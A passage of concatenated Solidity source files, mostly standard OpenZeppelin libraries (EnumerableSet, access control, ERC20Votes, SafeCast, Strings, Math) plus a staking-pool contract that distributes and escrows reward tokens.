if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/IBasePool.sol";
import "../interfaces/ITimeLockPool.sol";
import "./AbstractRewards.sol";
import "./TokenSaver.sol";
abstract contract BasePool is ERC20Votes, AbstractRewards, IBasePool, TokenSaver, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeCast for uint256;
using SafeCast for int256;
IERC20 public immutable depositToken;
IERC20 public immutable rewardToken;
ITimeLockPool public immutable escrowPool;
uint256 public immutable escrowPortion; // how much is escrowed 1e18 == 100%
uint256 public immutable escrowDuration; // escrow duration in seconds
event RewardsClaimed(address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount);
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration
) ERC20Permit(_name) ERC20(_name, _symbol) AbstractRewards(balanceOf, totalSupply) {
require(_escrowPortion <= 1e18, "BasePool.constructor: Cannot escrow more than 100%");
require(_depositToken != address(0), "BasePool.constructor: Deposit token must be set");
depositToken = IERC20(_depositToken);
rewardToken = IERC20(_rewardToken);
escrowPool = ITimeLockPool(_escrowPool);
escrowPortion = _escrowPortion;
escrowDuration = _escrowDuration;
if(_rewardToken != address(0) && _escrowPool != address(0)) {
IERC20(_rewardToken).safeApprove(_escrowPool, type(uint256).max);
}
}
function _mint(address _account, uint256 _amount) internal virtual override {
super._mint(_account, _amount);
_correctPoints(_account, -(_amount.toInt256()));
}
function _burn(address _account, uint256 _amount) internal virtual override {
super._burn(_account, _amount);
_correctPoints(_account, _amount.toInt256());
}
function _transfer(address _from, address _to, uint256 _value) internal virtual override {
super._transfer(_from, _to, _value);
_correctPointsForTransfer(_from, _to, _value);
}
function distributeRewards(uint256 _amount) external override nonReentrant {
rewardToken.safeTransferFrom(_msgSender(), address(this), _amount);
_distributeRewards(_amount);
}
function claimRewards(address _receiver) external {
uint256 rewardAmount = _prepareCollect(_msgSender());
uint256 escrowedRewardAmount = rewardAmount * escrowPortion / 1e18;
uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount;
if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) {
escrowPool.deposit(escrowedRewardAmount, escrowDuration, _receiver);
}
// ignore dust
if(nonEscrowedRewardAmount > 1) {
rewardToken.safeTransfer(_receiver, nonEscrowedRewardAmount);
}
emit RewardsClaimed(_msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface ITimeLockPool {
function deposit(uint256 _amount, uint256 _duration, address _receiver) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-ERC20Permit.sol";
import "../../../utils/math/Math.sol";
import "../../../utils/math/SafeCast.sol";
import "../../../utils/cryptography/ECDSA.sol";
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20Votes is ERC20Permit {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = Math.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual {
return _delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
return _delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
